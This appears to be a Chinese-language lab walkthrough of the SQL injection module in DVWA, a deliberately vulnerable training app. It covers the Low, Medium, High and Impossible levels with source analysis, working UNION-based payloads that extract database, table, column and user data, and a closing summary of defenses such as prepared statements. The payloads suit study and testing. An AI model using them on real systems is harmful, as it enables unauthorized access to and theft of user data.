目录
简介
sql注入漏洞原理
将恶意的SQL语句拼接到合法的语句中,从而达到执行SQL语句的目的;
SQL注入漏洞类型
字符型;
数字型;
搜索型;
危害
- 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
- 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
- 如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
- 经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
安全级别:Low
查看源码
源码分析
1.对用户的传参没有进行过滤,可以直接拼接sql语句
2. 采用单引号闭合
数据库名
-1' union select 1,database() #
表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
列名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
字段值
-1' union select 1,group_concat(first_name) from users #
安全级别:Medium
查看源码
源码分析
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符
只是由GET类型传参改为POST类型传参
数字型sql注入
数据库名
1 union select 1,database() #
表名
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
不可以用table_schema=‘dvwa’,因为table_schema='dvwa’中带有单引号,会进行转义,所以我们需要将dvwa进行编码
列名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
由于单引号被转义,用16进制转换
字段值
1 union select 1,group_concat(first_name) from users #
安全级别:High
查看源码
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
源码分析
- mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组。
mysqli_fetch_assoc(result);
result 必需。规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符。- mysqli_query() 函数执行某个针对数据库的查询。
- High级别在SQL查询语句中添加了LIMIT 1,以此控制只输入一个结果;
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉;- 从SESSION中获取id的值,使用单引号闭合。因为SESSION获取值的特点,不能直接在当前页面注入
闭合符号为’
判断列数
当1' order by 3 #
出错,1' order by 2 #
正常输出
1' order by 3 #
1’ order by 2 #
数据库名
-1' union select 1,database() #
表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
列名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
数据
-1' union select 1,group_concat(first_name) from users #
安全级别:Impossible
查看源码
// Anti-CSRF token 防御 CSRF 攻击
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$id = $_GET[ 'id' ];
// 检测是否是数字类型
if(is_numeric( $id )) {
// 预编译
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
源码分析
Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入;
同时只有返回的查询结果数量为1时,才会输出;
防护总结
对参数进行预编译
使用正则表达式过滤传入的参数
字符串过滤,转义